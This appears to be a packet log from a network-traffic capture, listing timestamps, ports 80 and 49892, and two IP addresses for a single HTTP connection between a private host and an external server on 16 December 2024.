Dec 16, 2024 15:02:22.172359943 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.172425985 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.173218966 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.173691034 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.173691034 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.173713923 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.173789024 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.174144030 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.174334049 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.174511909 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.174998999 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.175335884 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.175343037 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.175807953 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.175869942 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.176120043 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.176193953 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.176788092 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.177109957 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.177227974 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.177690983 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.177758932 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.178610086 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.178689003 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.178705931 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.179135084 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.179670095 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.179780960 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.180181980 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.180391073 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.180466890 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.181216002 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.181317091 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.181329012 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.181384087 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.182132959 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.182337999 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.182457924 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.183032990 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.183904886 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.183957100 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.183969021 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.184014082 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.184014082 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.330507040 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.330591917 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.330612898 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.330701113 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.330775976 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.330864906 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.330934048 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.330966949 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.331748009 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.331835032 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.332022905 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.332294941 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.332611084 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.332747936 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.332947969 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.333035946 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.333496094 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.333508968 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.333575010 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.333597898 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.334417105 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.334518909 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.335062027 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.335217953 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.335244894 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.335297108 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.336011887 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.336101055 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.336400032 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.336412907 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.336503029 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.336503029 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.337357044 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.337444067 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.337616920 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.337822914 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.337954998 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.338056087 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.338223934 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.338478088 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.338819981 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.338871956 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.339004993 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.339004993 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.339706898 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.339803934 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.339956999 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.340472937 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.340606928 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.340620041 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.340785980 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.341480970 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.341535091 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.342319965 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.342376947 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.342389107 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.342401981 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.342432976 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.342451096 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.343225002 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.343302965 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.343873978 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.343959093 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.344110012 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.344158888 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.345216990 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.345227957 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.345240116 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.345386028 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.345386982 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.345966101 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.346199036 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.346749067 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.346749067 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.346831083 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.346874952 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.346889019 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.346911907 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.347693920 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.347769022 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.348464966 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.348680019 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.348691940 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.348908901 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.348908901 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.349478006 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.349582911 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.350348949 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.350368977 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.350379944 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.350436926 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.350436926 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.351334095 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.351346016 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.351409912 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.351409912 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.352490902 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.352701902 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.353290081 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.353303909 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.353317022 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.353384018 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.353384018 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.353972912 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.354047060 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.355137110 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.355151892 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.355165958 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.355211020 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.355211020 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.357382059 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.357445955 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.357458115 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.357469082 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.357501984 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.357539892 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.358272076 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.358372927 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.358902931 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.359009981 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.359251022 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.359262943 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.359376907 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.359966993 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.359980106 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.360111952 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.360265970 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.360346079 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.360358000 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.360421896 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.361037970 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.361093998 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.361156940 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.361287117 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.361920118 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.361993074 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.361996889 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.362154961 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.362849951 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.362863064 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.362921953 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.363650084 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.363702059 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.363713980 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.364382029 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.364607096 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.364654064 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.364665031 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.364698887 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.365442991 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.365689039 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.367829084 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.367841005 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.367852926 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.367866039 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.367877960 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.367880106 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.367906094 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.367944002 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.368105888 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.368181944 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.369075060 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.369263887 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.370219946 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.370230913 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.370273113 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.370337009 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.370613098 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.370624065 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.370659113 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.371094942 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.371139050 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.371145964 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.371185064 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.371881008 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.371952057 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.372073889 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.372159958 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.372808933 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.372821093 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.373161077 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.373426914 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.373492956 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.373788118 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.374301910 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.374650955 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.374752998 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.374829054 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.375191927 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.375335932 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.375602007 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.376116037 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.376224041 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.376290083 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.376302004 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.376337051 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.376405001 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.377038002 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.377190113 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.522547007 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.522624016 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.522645950 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.522713900 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.522772074 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.522829056 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.522866011 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.522922993 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.523685932 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.523778915 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.523869038 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.523941040 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.524729013 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.524744034 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.524861097 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.524861097 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.525597095 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.525731087 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.526350021 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.526506901 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.526520014 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.526619911 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.526621103 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.527190924 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.527338982 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.527802944 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.527915955 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.528110027 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.528162956 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.529026985 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.529038906 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.529052973 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.529109955 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.529153109 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.529886961 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.529989958 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.530019045 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.530141115 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.530891895 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.530987024 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.531935930 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.531949997 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.531985998 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.532092094 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.532092094 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.532640934 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.532717943 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.533042908 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.533107042 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.533416986 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.533476114 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.533868074 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.533982038 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.534370899 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.534383059 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.534533978 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.534533978 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.535240889 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.535299063 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.535356998 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.535434961 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.536119938 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.536178112 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.536220074 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.536312103 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.537058115 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.537128925 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.537209034 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.537308931 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.537889957 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.537942886 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.538095951 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.538510084 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.538758993 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.538810968 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.539619923 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.539642096 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.539705038 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.539705038 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.539736986 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.539782047 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.541165113 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.541280031 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.541769981 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.541783094 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.541796923 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.541819096 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.541870117 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.542498112 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.542629004 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.543227911 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.543241024 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.543255091 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.543335915 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.543335915 CET	49892	80	192.168.2.6	185.215.113.16
Dec 16, 2024 15:02:22.544092894 CET	80	49892	185.215.113.16	192.168.2.6
Dec 16, 2024 15:02:22.544182062 CET	49892	80	192.168.2.6	185.215.113.16
